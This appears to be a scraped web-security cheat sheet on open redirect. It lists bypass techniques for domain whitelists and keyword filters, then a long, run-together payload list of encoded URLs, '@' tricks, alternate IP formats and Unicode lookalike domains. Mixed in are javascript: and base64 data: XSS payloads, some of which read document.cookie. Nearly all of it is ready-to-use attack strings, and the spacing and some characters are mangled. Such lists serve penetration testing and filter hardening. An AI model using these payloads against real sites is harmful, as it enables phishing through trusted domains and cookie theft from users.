Open Redirect
Using a whitelisted domain or keyword
www.whitelisted.com.evil.com redirect to evil.comhttps://www.target01.com//example.com/ redirect to //example.com/https://www.target01.com%09.example.com redirect to example.comhttps://www.target01.com%252e.example.com redirect to example.com
Using "//" to bypass "http" blacklisted keyword
//google.com
Using "https:" to bypass "//" blacklisted keyword
https:google.com
Using "//" to bypass "//" blacklisted keyword (Browsers see // as //)
\/\/google.com//\/google.com/
Using "/\" to bypass:
/\google.com
Using "%E3%80%82" to bypass "." blacklisted character
//google%E3%80%82com
Using null byte "%00" to bypass blacklist filter
//google%00.com
Using parameter pollution
?next=whitelisted.com&next=google.com
Using "@" character, browser will redirect to anything after the "@"
http://[email protected]/
Creating folder as their domain
http://www.yoursite.com/http://www.theirsite.com/http://www.yoursite.com/folder/www.folder.com
XSS from Open URL - If it's in a JS variable
";alert(0);//
XSS from data:// wrapper
http://www.example.com/redirect.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
Username
https://[email protected]https://www.victim.co%[email protected]https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)[email protected]
IP formats
216.58.215.78 -- Regular3627734862 -- Decimal0330.0072.0327.0116 -- Octal00000330.00000072.00000327.00000116 -- Octal with junk zeros0xd83ad74e -- Hex0xd8.0x3a.0xd7.0x4e -- Hex (dot sepparated)0x000000d8.0x0000003a.0x000000d7.0x0000004e -- Hex (dot sepparated) with junk zeros
You can also mix the different IP formats:
You can play with the different IP formats in https://www.silisoftware.com/tools/ipconverter.php
Parsing
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.comList:① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ ⓉⓊ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
#Basic payload, javascript code is executed after "javascript:"javascript:alert(1)#Bypass "javascript" word filter with CRLFjava%0d%0ascript%0d%0a:alert(0)#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed#This bypasses FILTER_VALIDATE_URL os PHPjavascript://%250Aalert(1)#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)javascript://%250Aalert(1)//?1javascript://%250A1?alert(1):0#Others%09Jav%09ascript:alert(document.domain)javascript://%250Alert(document.location=document.cookie)/%09/javascript:alert(1);/%09/javascript:alert(1)//%5cjavascript:alert(1);//%5cjavascript:alert(1)/%5cjavascript:alert(1);/%5cjavascript:alert(1)javascript://%0aalert(1)<>javascript:alert(1);//javascript:alert(1);//javascript:alert(1)/javascript:alert(1);/javascript:alert(1)\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)javascript:alert(1);javascript:alert(1)javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)javascript:confirm(1)javascript://https://whitelisted.com/?z=%0Aalert(1)javascript:prompt(1)jaVAscript://whitelisted.com//%0d%0aalert(1);//javascript://whitelisted.com?%a0alert%281%29/x:1/:///%01javascript:alert(document.cookie)/
<>//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////\;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//\/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/\/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//〱Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\/\/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/〱Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ%00｡Ｐⓦ%01https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%01https://google.com////%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////%09/google.com///%09/google.com//%09/google.com/%09/google.com////%09/[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///%09/[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//%09/[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%09/[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////%09/[email protected]///%09/[email protected]//%09/[email protected]/%09/[email protected]&%0d%0a1Location:https://google.com\152\141\166\141\163\143\162\151\160\164\072alert(1)%19Jav%09asc%09ript:https%20://whitelisted.com/%250Aconfirm%25281%2529////216.58.214.206///216.58.214.206//216.58.214.206/\216.58.214.206/216.58.214.206216.58.214.206////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..%2f216.58.214.206//%2f216.58.214.206%2f216.58.214.206%2f%2f////Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e//%2f%2fⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2fⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%2f$2f216.58.214.206$2f%2f216.58.214.206%2f%2f%2f$2f3627734734$2f%2f3627734734%2f%2f//%2f%2fgoogle.com/%2f%2fgoogle.com$2f%2fgoogle.com%2f$2fgoogle.com$2f%2fgoogle.com%2f%2f%2f3627734734//%2f3627734734%2f3627734734%2f%2f/%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d//%2f%5c%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77/%2fgoogle.com//%2fgoogle.com%2fgoogle.com%2f%2f////3627734734///3627734734//3627734734/\3627734734/36277347343627734734//[email protected]@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///[email protected][email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///[email protected]@google.com/////%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////%5cgoogle.com///%5cgoogle.com//%5cgoogle.com/%5cgoogle.com////%[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///%[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//%[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////%[email protected]/%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%68%74%74%70%73%3a%2f%2f%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:[email protected]///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80#@whitelisted.com/";alert(0);//data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=data:whitelisted.com;text/html;charset=UTF-8,<html><script>document.write(document.domain);</script><iframe/src=xxxxx>aaaa</iframe></html>//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ%E3%80%82pw//google%00.com/\google%252ecomgoogle%252ecom<>//google.com/<>//google.com//;@google.com///;@google.com/////google.com//////google.com////\;@google.com////google.com//////google.com/////google.com///\;@google.com///google.com/////google.com////google.com//\/google.com///\google.com//google.com////google.com///google.com/.google.com/\/\/google.com//\/google.com//\/google.com/\google.com/〱google.com/google.com../google.com.google.com@google.com\/\/google.com/〱google.comgoogle.comgoogle.com%[email protected]////google.com/%2e%2e///google.com/%2e%2e//google.com/%2e%2e/google.com/%2e%2e//google.com/%2E%2E////google.com/%2e%2e%2f///google.com/%2e%2e%2f//google.com/%2e%2e%2f////google.com/%2f..///google.com/%2f..//google.com/%2f..//google.com/%2F../google.com/%2F..////google.com/%2f%2e%2e///google.com/%2f%2e%2e//google.com/%2f%2e%2e/google.com/%2f%2e%2e//google.com//%2F%2E%2E//google.com:[email protected]///google.com:80#@whitelisted.com/google.com/.jpg//google.com\twhitelisted.com///google.com/whitelisted.com//google.com\@whitelisted.comgoogle.com/whitelisted.com//google%E3%80%82com/http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/http:/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttp://;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttp://.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttp:/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttp:Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttp://00330.00072.0000326.00000316http:00330.00072.0000326.00000316http://00330.0x3a.54990http:00330.0x3a.54990http://00330.3856078http:00330.3856078http://0330.072.0326.0316http:0330.072.0326.0316http:%0a%0dⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttp:%0a%0dgoogle.comhttp://0xd8.072.54990http:0xd8.072.54990http://0xd8.0x3a.0xd6.0xcehttp:0xd8.0x3a.0xd6.0xcehttp://0xd8.3856078http:0xd8.3856078http://0xd83ad6cehttp:0xd83ad6cehttp://[::216.58.214.206]http:[::216.58.214.206]http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%23.whitelisted.com/http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%2f%2f.whitelisted.com/http://3627734734http:3627734734http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%3F.whitelisted.com/http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected][::216.58.214.206]http:[email protected][::216.58.214.206]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected][::ffff:216.58.214.206]http:[email protected][::ffff:216.58.214.206]http://[email protected]@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/http://[email protected][email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/http://[email protected]@google.com/http://472.314.470.462http:472.314.470.462http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ%5c%5c.whitelisted.com//http://%67%6f%6f%67%6c%65%2e%63%6f%6dhttp://%67%6f%6f%67%6c%65%2e%63%6f%6dhttp://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:[email protected]/http://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ:80#@whitelisted.com/http://[::ffff:216.58.214.206]http:[::ffff:216.58.214.206]/http://google.com/http:/google.comhttp://;@google.comhttp://.google.comhttp://google.comhttp:/\/\google.comhttp:/google.comhttp:google.comhttp://google.com%23.whitelisted.com/http://google.com%2f%2f.whitelisted.com/http://google.com%3F.whitelisted.com/http://google.com%5c%5c.whitelisted.com/http://google.com:[email protected]/http://google.com:80#@whitelisted.com/http://google.com\twhitelisted.com///https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttps:Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttps://%09/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://%09/google.comhttps://%09/google.comhttps://%09/[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttps://%09/[email protected]https://%0a%0dⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttps://%0a%0dgoogle.com//https:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2ehttps:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e//https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2fhttps://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f../https:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2ehttps:///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2ehttps://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2ehttps%3a%2f%2fgoogle.com%2f/https://%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https:/%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttps:/%5cⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//https://%5cgoogle.com/https:/%5cgoogle.com/https://%5cgoogle.comhttps:/%5cgoogle.com//https://%[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttps://%[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://%[email protected]https://%[email protected]https://%6c%6f%63%61%6c%64%6f%6d%61%69%6e%2e%70%77//https://google.com///https://google.com///https://google.com//https://google.com/https:google.comhttps://////google.comhttps://google.com//https://google.com/https://google.comhttps:/\google.comhttps:google.com//https:///google.com/%2e%2e/https://google.com/%2e%2ehttps:///google.com/%2e%2e//https://google.com/%2e%2e%2fhttps://google.com/%2e%2e%2f/https://google.com/%2f..https://google.com/%2f../https:///google.com/%2f%2e%2e/https://google.com/%2f%2e%2ehttps:///google.com/%2f%2e%2ehttps://google.com/%2f%2e%2ehttps://:@google.com\@whitelisted.comhttps://google.com?whitelisted.comhttps://google.com/whitelisted.comhttps://google.com\whitelisted.comhttps://google.com#whitelisted.comhttps://google%E3%80%82com//https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://:@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\@whitelisted.comhttps://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/whitelisted.comhttps://whitelisted.com;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦhttps://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2ehttps:///[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e//https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2fhttps://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f/https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f../https:///[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e/https://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2ehttps:///[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2ehttps://[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e//https://[email protected]///https://[email protected]/https://whitelisted.com;@google.comhttps://whitelisted.com.google.comhttps://[email protected]//https://[email protected]/https://[email protected]/https://[email protected]/%2e%2ehttps:///[email protected]/%2e%2e//https://[email protected]/%2e%2e%2fhttps://[email protected]/%2e%2e%2f/https://[email protected]/%2f..https://[email protected]/%2f../https:///[email protected]/%2f%2e%2e/https://[email protected]/%2f%2e%2ehttps:///[email protected]/%2f%2e%2ehttps://[email protected]/%2f%2e%2e/https://[email protected]/%2f.//[email protected]/%2f..https://whitelisted.com/https://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/https://whitelisted.com/https://google.com/@https://www.google.comhttp://Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\twhitelisted.com/http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://[email protected][::216.58.214.206]http:[email protected][::216.58.214.206]http://whitelisted.com%2eⓁ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/http://whitelisted.com%2egoogle.com/http://[email protected]http:[email protected]http://[email protected]http:[email protected]http://whitelisted.com:80%40Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/http://whitelisted.com:80%40google.com/http://[email protected][::ffff:216.58.214.206]http:[email protected][::ffff:216.58.214.206]http://[email protected]/http://whitelisted.com+&@google.com#[email protected]/http://whitelisted.com+&@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ#[email protected]/http://www.google.com\.whitelisted.comhttp://www.Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\.whitelisted.comhttp://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected][::216.58.214.206]http:XY>.7d8T\[email protected][::216.58.214.206]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected]http:XY>.7d8T\[email protected]http://XY>.7d8T\[email protected][::ffff:216.58.214.206]http:XY>.7d8T\[email protected][::ffff:216.58.214.206]http://XY>.7d8T\[email protected]@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/http://XY>.7d8T\[email protected][email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/http://XY>.7d8T\[email protected]@google.com/http://XY>.7d8T\[email protected][email protected]/ja\nva\tscript\r:alert(1)java%09script:alert(1)java%0ascript:alert(1)java%0d%0ascript%0d%0a:alert(0)java%0dscript:alert(1)Javas%26%2399;ript:alert(1)//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\twhitelisted.com/\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ//////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ///Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/whitelisted.com//Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ\@whitelisted.com//[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/whitelisted.comwhitelisted.com;@Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e///[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f///[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f//[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2e%2e%2f////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..///[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..//[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f..////[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e///[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e//[email protected]Ⓛ𝐨𝗰�𝕝ⅆ𝓸ⓜₐℹⓃ｡Ｐⓦ/%2f%2e%2e/\whitelisted.com:80%40google.com////[email protected]//////[email protected]////[email protected]//whitelisted.com;@google.comwhitelisted.com.google.com////[email protected]/%2e%2e///[email protected]/%2e%2e////[email protected]/%2e%2e%2f///[email protected]/%2e%2e%2f//[email protected]/%2e%2e%2f////[email protected]/%2f..///[email protected]/%2f..//[email protected]/%2f..////[email protected]/%2f%2e%2e///[email protected]/%2f%2e%2e//[email 